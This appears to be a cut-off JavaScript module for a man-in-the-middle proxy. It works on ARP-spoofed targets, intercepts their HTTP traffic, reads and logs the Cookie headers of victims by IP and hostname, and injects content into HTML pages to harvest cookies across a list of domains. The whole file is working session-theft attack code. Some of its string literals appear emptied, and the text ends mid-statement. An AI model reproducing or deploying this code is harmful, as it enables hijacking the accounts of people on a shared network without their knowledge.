var victims = {}
function Rf(s)
{
return "\033[31m" + s + "\033[0m"
}
function Rb(s)
{
return "\033[41m" + s + "\033[0m"
}
function onLoad()
{
log( "Cookies steal module loaded." );
log( "targets: " + env['arp.spoof.targets'] );
}
function onRequest(req, res)
{
var ip = req.Client.IP,
hostname = req.Hostname,
headers, cookies
headers = req.Headers.replace(/\r\n$/g, "").split("\r\n")
for (var i = 0; i < headers.length; i++)
{
header_name = headers[i].replace(/:.*/, "")
if(header_name == 'Cookie')
cookies = headers[i].replace(/.*?: /, "");
}
if( req.Query.indexOf('__steal') != -1 )
{
if(cookies)
log( Rb( "[+] " + ip + " - " + hostname + " " + cookies ) )
if( victims[ip] && victims[ip].length )
{
var hostname_index = victims[ip].indexOf(hostname)
if( hostname_index != -1 )
victims[ip].splice( hostname_index, 1 )
if( victims[ip].length )
res.Body = '\n' +
'\n' +
'\n' +
'\n' +
''
else
res.Body = 'end stealing'
res.Status = 200
res.ContentType = "text/html"
res.Headers = "Connection: close"
}
}
}
function onResponse(req, res)
{
if( res.ContentType.indexOf('text/html') == 0 )
{
var body = res.ReadBody(),
ip = req.Client.IP
if(! victims[ip] )
{
victims[ip] = readFile(env["steal-cookies.domains"]).toString().split('\n')
body = body.replace(
' ',
'